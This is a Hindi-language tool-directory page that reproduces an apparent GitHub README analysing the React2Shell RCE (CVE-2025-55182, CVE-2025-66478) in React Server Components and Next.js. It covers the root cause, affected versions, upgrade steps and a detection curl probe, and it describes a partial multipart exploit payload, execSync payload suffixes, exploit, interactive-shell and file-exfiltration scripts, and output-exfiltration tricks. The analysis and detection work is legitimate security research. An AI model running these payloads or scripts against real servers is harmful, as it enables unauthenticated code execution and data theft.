Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
react2shell — CVE-2025-55182 और CVE-2025-66478 का विश्लेषण -- React2Shell के पीछे की कमज़ोरियाँ। उपकरण, तकनीकी जानकारी, आदि | Kitploit
उपकरण/GitHubGitHub/freeqaz/react2shell
गतिशील विश्लेषण (सैंडबॉक्सिंग)भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेपर और शोधलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubfreeqaz/react2shell

react2shell

CVE-2025-55182 और CVE-2025-66478 का विश्लेषण -- React2Shell के पीछे की कमज़ोरियाँ। उपकरण, तकनीकी जानकारी, आदि

68188 महीने पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

React2Shell: React Server Components में RCE 0-day

CVE-2025-55182 (React) और CVE-2025-66478 (Next.js)

इस रिपॉजिटरी में केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए एक्सप्लॉइट कोड है।

यह भी देखें: कई शोधकर्ताओं ने इस भेद्यता के विश्लेषण प्रकाशित किए हैं। अतिरिक्त दृष्टिकोण, एक्सप्लॉइट तकनीकों और पहचान विधियों के लिए संदर्भ अनुभाग देखें।

यह क्या है?

बुधवार, 3 दिसंबर 2025 को, React Server Components में एक गंभीर रिमोट कोड निष्पादन (Remote Code Execution) भेद्यता सार्वजनिक रूप से उजागर की गई। "React2Shell" नामक यह बग, एक बिना प्रमाणीकरण वाले हमलावर को केवल एक HTTP अनुरोध भेजकर React RSC या Next.js App Router के भेद्य संस्करण चलाने वाले किसी भी सर्वर पर मनमाना कोड निष्पादित करने की अनुमति देता है।

Next.js इतना सर्वव्यापी हो गया है - यह आधुनिक वेब के एक महत्वपूर्ण हिस्से को शक्ति देता है - इसलिए इस भेद्यता का प्रभाव गंभीर है। RSC सक्षम के साथ App Router (Next.js 13 के बाद से नई परियोजनाओं के लिए डिफ़ॉल्ट) का उपयोग करने वाला कोई भी Next.js एप्लिकेशन भेद्य है। कोई विशेष कॉन्फ़िगरेशन नहीं। कोई विशिष्ट एंडपॉइंट नहीं। बस किसी भी रूट पर एक POST अनुरोध।

भेद्यता React के "Flight" प्रोटोकॉल में रहती है, जो React Server Components में सर्वर और क्लाइंट के बीच डेटा पास करने के लिए उपयोग किया जाने वाला सीरियलाइज़ेशन प्रारूप है। डिसीरियलाइज़ेशन के दौरान hasOwnProperty जाँच की कमी प्रोटोटाइप श्रृंखला ट्रैवर्सल की अनुमति देती है, अंततः JavaScript Function कंस्ट्रक्टर तक पहुँचकर हमलावर-नियंत्रित कोड निष्पादित करती है।

यह दोष React के react-server-dom-webpack, react-server-dom-turbopack और react-server-dom-parcel पैकेजों में मौजूद है। Next.js, प्रमुख RSC उपभोक्ता के रूप में, अपने App Router के माध्यम से भेद्यता प्राप्त करता है।

कौन प्रभावित है?

कई सेवाएँ संभावित रूप से भेद्य हैं। Next.js सबसे लोकप्रिय React फ्रेमवर्क में से एक है, जिसका उपयोग सभी आकारों की कंपनियाँ करती हैं - स्टार्टअप से लेकर एंटरप्राइज़ तक। React Server Components के साथ App Router संस्करण 13 के बाद से नई Next.js परियोजनाओं के लिए डिफ़ॉल्ट आर्किटेक्चर रहा है, जिसका अर्थ है कि अधिकांश आधुनिक Next.js डिप्लॉयमेंट प्रभावित हैं।

निम्न का उपयोग करने वाला कोई भी एप्लिकेशन:

  • React Server Components भेद्य react-server-dom-* पैकेजों के साथ (19.0.0 - 19.2.0)
  • Next.js App Router संस्करण 15.x (15.0.5 से पहले) और 16.x (16.0.7 से पहले)

इसमें Vercel, AWS, सेल्फ-होस्टेड इन्फ्रास्ट्रक्चर और किसी भी अन्य स्थान पर चलने वाले प्रोडक्शन डिप्लॉयमेंट शामिल हैं जहाँ Next.js App Router एप्लिकेशन चलते हैं।

प्रभावित नहीं:

  • Next.js Pages Router एप्लिकेशन (कोई RSC नहीं)
  • Next.js 13.x और 14.x स्थिर रिलीज़
  • केवल React क्लाइंट-साइड रेंडरिंग का उपयोग करने वाले एप्लिकेशन
  • Edge Runtime डिप्लॉयमेंट (कोई process.mainModule उपलब्ध नहीं)

प्रभावित संस्करण

React Server Components

पैकेजभेद्यपैच किया गया

Next.js

शमन

तुरंत अपग्रेड करें। कोई वर्कअराउंड नहीं हैं।

Next.js एप्लिकेशनों के लिए:

root@kitploit:~
npm install next@latest
# or
pnpm update next

सीधे React RSC उपयोग के लिए:

root@kitploit:~
npm install react-server-dom-webpack@latest

अपने इंस्टॉल किए गए संस्करणों को सत्यापित करें:

root@kitploit:~
npm ls next react-server-dom-webpack react-server-dom-turbopack

एक्सप्लॉइट कैसे काम करता है

एक्सप्लॉइट आवश्यकताएँ

  1. भेद्य React Server Components चलाने वाला सर्वर (Next.js App Router या सीधे RSC उपयोग के माध्यम से)
  2. HTTP POST अनुरोध भेजने के लिए नेटवर्क पहुँच
  3. बस इतना ही। कोई प्रमाणीकरण नहीं। कोई विशिष्ट एंडपॉइंट नहीं। कोई भी रूट काम करता है।

हमला

इस भेद्यता के लिए कई हमला वेक्टर खोजे गए हैं। सबसे सामान्य - और जो बिना किसी पूर्वापेक्षा के काम करता है - React के Flight प्रोटोकॉल संदर्भ प्रणाली के माध्यम से प्रोटोटाइप पॉल्यूशन का उपयोग करता है।

एक्सप्लॉइट Next-Action हेडर के साथ एक क्राफ्टेड मल्टीपार्ट POST अनुरोध भेजता है। पेलोड संदर्भ प्रणाली का दुरुपयोग करता है:

  1. $1:__proto__:then के माध्यम से प्रोटोटाइप श्रृंखला को ट्रैवर्स करें
  2. एक नकली "चंक" ऑब्जेक्ट बनाएं जो React के आंतरिक Chunk वर्ग की नकल करता है
  3. डिसीरियलाइज़र को JavaScript Function कंस्ट्रक्टर को कॉल करने के लिए धोखा दें
  4. परिणामी फ़ंक्शन को Promise thenable के रूप में लागू करने पर मनमाना कोड निष्पादित करें
root@kitploit:~
POST / HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary
Next-Action: x

------Boundary
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","value":"{...}","_response":{...}}
------Boundary
Content-Disposition: form-data; name="1"

"$@0"
------Boundary--

कोड डिसीरियलाइज़ेशन के दौरान, किसी भी एक्शन ID सत्यापन से पहले निष्पादित होता है। इसका मतलब है कि कोई भी Next-Action हेडर मान भेद्य कोड पथ को ट्रिगर करता है - कोई मान्य एक्शन ID आवश्यक नहीं है।

अन्य हमला वेक्टर मौजूद हैं, जिनमें $F फ़ंक्शन संदर्भ और प्रत्यक्ष मॉड्यूल गैजेट शामिल हैं। इन्हें आमतौर पर एक मान्य एक्शन ID की आवश्यकता होती है। विवरण के लिए वैकल्पिक हमला वेक्टर देखें।

मूल कारण

React का Flight प्रोटोकॉल $1:path:to:value जैसे संदर्भों को कोलन पर विभाजित करके और ऑब्जेक्ट को ट्रैवर्स करके हल करता है:

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel()
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // No hasOwnProperty check!
}

विडंबना: इसी फ़ाइल के शीर्ष पर, पंक्ति 35:

root@kitploit:~
import hasOwnProperty from 'shared/hasOwnProperty';

गार्ड आयात किया गया था। यह उपलब्ध था। बस उस एक लूप में इसका उपयोग नहीं किया गया जहाँ इसकी सबसे अधिक आवश्यकता थी।

यह एकल लापता जाँच $1:__proto__:then को एक चंक ऑब्जेक्ट से, प्रोटोटाइप श्रृंखला के ऊपर, Chunk.prototype.then तक - एक फ़ंक्शन जो Promise-जैसी ऑब्जेक्ट्स को संसाधित करता है - ट्रैवर्स करने की अनुमति देती है। सही गुणों के साथ एक नकली चंक बनाकर, हम नियंत्रित करते हैं कि कौन सा कोड निष्पादित हो।

स्थानीय रूप से पुनरुत्पादन

भेद्य टेस्ट सर्वर को क्लोन करें:

root@kitploit:~
git clone https://github.com/freeqaz/react2shell
cd react2shell/vulnerable-next-server
pnpm install
pnpm dev

दूसरे टर्मिनल में:

root@kitploit:~
./detect.sh http://localhost:3443

एक भेद्य सर्वर प्रतिक्रिया बॉडी में E{"digest" के साथ HTTP 500 लौटाता है। RCE प्रदर्शित करने के लिए:

root@kitploit:~
./exploit-redirect.sh http://localhost:3443 "id"

कमांड आउटपुट प्रतिक्रिया में दिखाई देता है। इंटरैक्टिव अन्वेषण के लिए:

root@kitploit:~
./shell.sh http://localhost:3443

इस रिपॉजिटरी में क्या है

भेद्य टेस्ट सर्वर

vulnerable-next-server/ निर्देशिका में सुरक्षित स्थानीय परीक्षण के लिए एक पूर्व-कॉन्फ़िगर Next.js 16.0.6 + React 19.2.0 एप्लिकेशन है। यह डिफ़ॉल्ट रूप से पोर्ट 3443 पर चलता है। यह एक न्यूनतम App Router सेटअप है जो दर्शाता है कि डिफ़ॉल्ट कॉन्फ़िगरेशन भेद्य हैं।

एक्सप्लॉइट स्क्रिप्ट्स

हमने विभिन्न परिदृश्यों को संभालने के लिए कई एक्सप्लॉइट वेरिएंट विकसित किए:

प्रोडक्शन नोट: React प्रोडक्शन बिल्ड में त्रुटि संदेशों को हटा देता है, जिससे throw विधि टूट जाती है। केवल exploit-redirect.sh बिना पूर्वापेक्षाओं के प्रोडक्शन में कमांड आउटपुट को विश्वसनीय रूप से कैप्चर करता है। रीडायरेक्ट URL त्रुटि के digest गुण (मेटाडेटा) में संग्रहीत होता है, जिसे सैनिटाइज़ नहीं किया जाता - message के विपरीत जो केवल {digest: "..."} बन जाता है।

उपयोगिता स्क्रिप्ट्स:

  • detect.sh - गैर-विनाशकारी भेद्यता जाँच (कोई कोड निष्पादन नहीं)
  • enumerate-actions.sh - लक्ष्य HTML से मान्य सर्वर एक्शन ID खोजता है
  • exfil-file.sh - चंक्ड फ़ाइल एक्सफिल्ट्रेशन (बड़ी फ़ाइलों को स्वचालित रूप से संभालता है)
  • shell.sh - RCE पर इंटरैक्टिव स्यूडो-शेल

रीडायरेक्ट विधि अनुशंसित है क्योंकि यह प्रोडक्शन में काम करती है, किसी पूर्वापेक्षा की आवश्यकता नहीं होती, और कमांड आउटपुट सीधे लौटाती है। यह एक विशेष रूप से क्राफ्टेड NEXT_REDIRECT त्रुटि फेंककर काम करती है - आउटपुट को base64-एन्कोड करके रीडायरेक्ट URL में डाला जाता है और x-action-redirect हेडर में लौटाया जाता है।

प्रत्येक स्क्रिप्ट के विस्तृत उपयोग के लिए, USAGE.md देखें।

भेद्य सर्वरों का पता कैसे लगाएं

त्वरित पहचान

root@kitploit:~
./detect.sh https://target.com

यह एक न्यूनतम जाँच भेजता है जो बिना मनमाना कोड निष्पादित किए भेद्य कोड पथ को ट्रिगर करता है।

भेद्य सर्वर प्रतिक्रिया:

  • HTTP स्थिति: 500
  • Content-Type: text/x-component
  • बॉडी में शामिल है: E{"digest"

पैच किया गया या गैर-RSC सर्वर: 404, भिन्न त्रुटि प्रारूप, या कोई Flight प्रोटोकॉल प्रतिक्रिया नहीं लौटाता।

मैन्युअल पहचान

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" -X POST https://target.com \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----Boundary" \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n["$1:a:a"]\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n{}\r\n------Boundary--'

यह जाँच एक खाली ऑब्जेक्ट पर एक गैर-मौजूद गुण को संदर्भित करती है। भेद्य सर्वर {}.a.a तक पहुँचने का प्रयास करते समय क्रैश हो जाते हैं, 500 लौटाते हैं। पैच किए गए सर्वरों में hasOwnProperty गार्ड होता है जो क्रैश को रोकता है।

Next.js App Router की पहचान

इन संकेतकों को देखें:

  • HTML में RSC पेलोड: Flight प्रोटोकॉल डेटा वाले <script> टैग (0:, 1:, आदि)
  • x-nextjs-cache या x-nextjs-matched-path हेडर
  • /_next/ स्टैटिक एसेट पथ
  • HTML में सर्वर एक्शन ID: छिपे हुए फ़ॉर्म फ़ील्ड्स में $ACTION_ID_ पैटर्न

तकनीकी गहन विश्लेषण

हमले का प्रवाह

निम्नलिखित आरेख दर्शाता है कि एक एकल HTTP अनुरोध कैसे रिमोट कोड निष्पादन प्राप्त करता है:

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant N as Next.js
    participant F as Flight Parser
    participant JS as JS Engine

    A->>N: POST with Next-Action header + malicious payload
    N->>F: Parse multipart form data
    F->>JS: await getRoot - returns chunk as thenable

    rect rgb(80, 20, 20)
        Note over F,JS: VULNERABILITY - No hasOwnProperty check
        JS->>F: chunk.then parses $1:__proto__:then
        F-->>F: Traverses to Chunk.prototype.then
    end

    F->>JS: resolve(attackerObject)
    Note over JS: JS Promise spec: resolve(thenable)<br/>calls thenable.then()
    JS->>F: fakeChunk.then() with attacker's _response

    rect rgb(80, 20, 20)
        Note over F,JS: EXPLOITATION - Attacker controls _response
        F->>F: $B0 → _formData.get(_prefix + "0")
        Note over F: _formData.get = Function constructor<br/>_prefix = malicious code string
        F->>JS: Function(code) invoked as thenable
    end

    Note over JS: RCE - execSync() runs

    rect rgb(20, 60, 20)
        Note over A,JS: OUTPUT EXFILTRATION (redirect method)
        JS-->>F: throw NEXT_REDIRECT with base64(output)
        F-->>N: Error propagates up
        N-->>A: HTTP 303 + x-action-redirect header
    end

Flight प्रोटोकॉल

React Server Components सर्वर से क्लाइंट तक कंपोनेंट ट्री स्ट्रीम करने के लिए "Flight" नामक एक कस्टम सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह विभिन्न मान प्रकारों के लिए उपसर्ग कोड का उपयोग करता है:

  • $1, $2, ... - ID द्वारा अन्य चंक्स के संदर्भ
  • $@0 - रॉ चंक ऑब्जेक्ट संदर्भ (चंक को ही लौटाता है, उसका मान नहीं)
  • $B0 - ब्लॉब संदर्भ (_formData.get(_prefix + id) को ट्रिगर करता है)
  • $1:path:to:prop - संदर्भित चंक के मान पर एक पथ ट्रैवर्स करता है

भेद्यता $@ (रॉ संदर्भ) और कोलन-सीमांकित पथों के संयोजन का उपयोग करके __proto__ तक पहुँचती है।

संपूर्ण हमला श्रृंखला

चरण 1: अनुरोध प्रसंस्करण

  1. Next-Action हेडर के साथ POST RSC एक्शन हैंडलिंग ट्रिगर करता है
  2. Busboy मल्टीपार्ट फ़ॉर्म फ़ील्ड्स को चंक स्टोरेज में पार्स करता है
  3. await getRoot(response) चंक 0 को thenable के रूप में लौटाता है

चरण 2: प्रोटोटाइप ट्रैवर्सल

  1. चंक में एक then विधि है - JS Promise स्पेक thenable.then(resolve, reject) को कॉल करता है
  2. हमारा पेलोड पार्स किया जाता है; $1:__proto__:then Chunk.prototype.then पर हल होता है
  3. then, status: "resolved_model" और _response के साथ नकली चंक ऑब्जेक्ट बनाया जाता है

चरण 3: कोड निष्पादन

  1. resolve(ourObject) एक और then() कॉल ट्रिगर करता है (JS thenable स्पेक)
  2. Chunk.prototype.then हमारे नियंत्रित _response ऑब्जेक्ट का उपयोग करके चलता है
  3. $B0 _formData.get(_prefix + "0") ट्रिगर करता है - दोनों हमलावर-नियंत्रित
  4. निर्मित फ़ंक्शन thenable के रूप में कॉल किया गया → RCE

चरण 4: आउटपुट एक्सफिल्ट्रेशन (वैकल्पिक, रीडायरेक्ट विधि)

  1. पेलोड base64-एन्कोडेड कमांड आउटपुट के साथ NEXT_REDIRECT त्रुटि फेंकता है
  2. Next.js रीडायरेक्ट को पकड़ता है, URL सत्यापन से पहले x-action-redirect हेडर सेट करता है
  3. हमलावर को हेडर में आउटपुट के साथ HTTP 303 लौटाया जाता है

आउटपुट कैप्चर रणनीतियाँ

निर्मित फ़ंक्शन को thenable के रूप में कॉल किया जाता है: fn(resolve, reject)। हम इसे कैसे संभालते हैं यह निर्धारित करता है कि हमें आउटपुट वापस मिलता है या नहीं:

अनुशंसित: रीडायरेक्ट। प्रोडक्शन में काम करता है, कोई पूर्वापेक्षा नहीं, x-action-redirect हेडर में आउटपुट।

ब्लाइंड दृष्टिकोण लटक जाता है क्योंकि Promise कभी हल नहीं होता - await हमेशा के लिए ब्लॉक करता है। यह फायर-एंड-फॉरगेट परिदृश्यों (रिवर्स शेल, curl के माध्यम से आउट-ऑफ-बैंड एक्सफिल) के लिए उपयोगी है।

वैकल्पिक हमला वेक्टर

मुख्य भेद्यता का शोषण तीन अलग-अलग हमला वर्गों के माध्यम से किया गया है। यह रिपॉजिटरी पहले दृष्टिकोण का उपयोग करती है; अन्य PoC विकल्पों को प्रदर्शित करते हैं:

प्रोटोटाइप पॉल्यूशन को एक्शन ID की आवश्यकता क्यों नहीं होती: मल्टीपार्ट फ़ॉर्म पार्सिंग तुरंत चंक्स को Flight डिसीरियलाइज़र को खिलाती है। RCE चंक संदर्भ समाधान के दौरान getOutlinedModel() में होता है - Next.js द्वारा एक्शन ID सत्यापित करने से पहले। URL-एन्कोडेड अनुरोध पहले एक्शन ID सत्यापित करते हैं (action-handler.ts:768 पर भिन्न कोड पथ)।

$F संदर्भ को एक्शन ID की आवश्यकता क्यों होती है: $F संदर्भ loadServerReference() ट्रिगर करता है, जो मैनिफेस्ट लुकअप करता है। यदि एक्शन मौजूद नहीं है, तो अनुरोध कोड निष्पादन से पहले विफल हो जाता है।

सभी PoC इम्प्लीमेंटेशन और उनके ट्रेडऑफ़ के विस्तृत विश्लेषण के लिए, external-pocs/COMPARISON.md देखें।

प्रोडक्शन बनाम डेवलपमेंट

React प्रोडक्शन बिल्ड में त्रुटि विवरण हटा देता है। यह throw-आधारित एक्सफिल्ट्रेशन को प्रभावित करता है:

डेवलपमेंट:

root@kitploit:~
{"digest":"...","name":"Error","message":"uid=501(free)...","stack":[...]}

प्रोडक्शन:

root@kitploit:~
{"digest":"..."}

रीडायरेक्ट विधि इसे बायपास करती है क्योंकि रीडायरेक्ट URL digest गुण में संग्रहीत होता है, message में नहीं। हेडर URL सत्यापन से पहले बिना शर्त सेट होता है, इसलिए अमान्य URL को भी हेडर सेट मिलता है।

आभार

मुख्य शोषण अंतर्दृष्टि - एक स्व-संदर्भित नकली चंक बनाने के लिए $@ रॉ चंक संदर्भों का उपयोग - का श्रेय maple3142 को जाता है। यहाँ संदर्भित पहचान पद्धति Searchlight Cyber / Assetnote से आती है।

संदर्भ

आधिकारिक खुलासे:

  • CVE-2025-55182 - React Server Components RCE
  • CVE-2025-66478 - Next.js डाउनस्ट्रीम प्रभाव
  • React Security Advisory - आधिकारिक React खुलासा

सामुदायिक शोध:

सभी PoC इम्प्लीमेंटेशन की विस्तृत तुलना के लिए, external-pocs/COMPARISON.md देखें।

पृष्ठभूमि:

  • React Flight Protocol - RSC सीरियलाइज़ेशन को समझना

लाइसेंस

कोड MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है। दस्तावेज़ीकरण (*.md फ़ाइलें) CC-BY-SA 4.0 के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें
react-server-dom-webpack
19.0.0, 19.1.0, 19.1.1, 19.2.0
19.0.1, 19.1.2, 19.2.1+
react-server-dom-turbopack19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
react-server-dom-parcel19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1, 19.1.2, 19.2.1+
संस्करण लाइनभेद्यपैच किया गया
15.0.x< 15.0.515.0.5+
15.1.x< 15.1.915.1.9+
15.2.x< 15.2.615.2.6+
15.3.x< 15.3.615.3.6+
15.4.x< 15.4.815.4.8+
15.5.x< 15.5.715.5.7+
16.0.x< 16.0.716.0.7+
स्क्रिप्टHTTPआउटपुटप्रोडक्शननोट्स
exploit-redirect.sh303x-action-redirect हेडरहाँअनुशंसित। कोई पूर्वापेक्षा नहीं।
exploit-throw.sh500त्रुटि प्रतिक्रिया बॉडीनहींकेवल डेव मोड (प्रोडक्शन में त्रुटियाँ सैनिटाइज़ होती हैं)।
exploit-blind.sh200केवल सर्वर-साइडहाँफायर-एंड-फॉरगेट। OOB एक्सफिल के लिए उपयोग करें।
exploit-urlencoded.sh303x-action-redirect हेडरहाँभिन्न WAF सिग्नेचर। एक्शन ID आवश्यक।
exploit-reflect.sh200प्रतिक्रिया बॉडीहाँसबसे गोपनीय। एक्शन ID आवश्यक।
रणनीतिपेलोड सफ़िक्सयह कैसे काम करता है
ब्लाइंडexecSync('CMD');0निष्पादित करता है लेकिन कभी हल नहीं होता - कनेक्शन लटक जाता है, कोई आउटपुट नहीं
थ्रोthrow execSync('CMD').toString()Promise अस्वीकार करता है, त्रुटि बॉडी में आउटपुट (केवल डेव मोड)
रीडायरेक्टthrow {digest:'NEXT_REDIRECT;...;'+b64(output)}Next.js रीडायरेक्ट हैंडलिंग का दुरुपयोग, हेडर में आउटपुट
रिफ्लेक्टarguments[0](https://github.com/freeqaz/react2shell/blob/HEAD/%5BexecSync(%27CMD%27).toString()])आउटपुट के साथ Promise को एक्शन तर्क के रूप में हल करता है (मान्य एक्शन ID आवश्यक)
हमला वर्गतंत्रएक्शन ID आवश्यकउदाहरण PoC
प्रोटोटाइप पॉल्यूशन$1:__proto__:then से Chunk.prototype तक ट्रैवर्सलनहींreact2shell, lachlan2k, joe-desimone
$F फ़ंक्शन संदर्भFunction तक पहुँचने के लिए $F1 + action#constructorहाँshellinteractive
मॉड्यूल गैजेटmodule#export सिंटैक्स (जैसे, child_process#execSync)भिन्नejpir research
लेखकयोगदानहमला पथउल्लेखनीय विशेषताएँ
lachlan2kमूल खोजकर्ताप्रोटोटाइप पॉल्यूशनArray.map चेनिंग, 5-चंक संरचना, Waku समर्थन
ejpirगैजेट शोधसभी पथमॉड्यूल गैजेट कैटलॉग, पर्सिस्टेंस अटैक, डेटा URI पथ
joe-desimonePython टूलिंगप्रोटोटाइप पॉल्यूशनरिवर्स शेल हेल्पर, कॉलबैक एक्सफिल, टाइमआउट डिटेक्शन
labubusDest / MrR0b0t19इंटरैक्टिव शेल$F फ़ंक्शन संदर्भPython REPL, फ़ाइल अपलोड/डाउनलोड, बिल्ट-इन टेस्ट सूट
Searchlight Cyberपहचान विधियाँ—हाई-फिडेलिटी पहचान पद्धति, WAF सिग्नेचर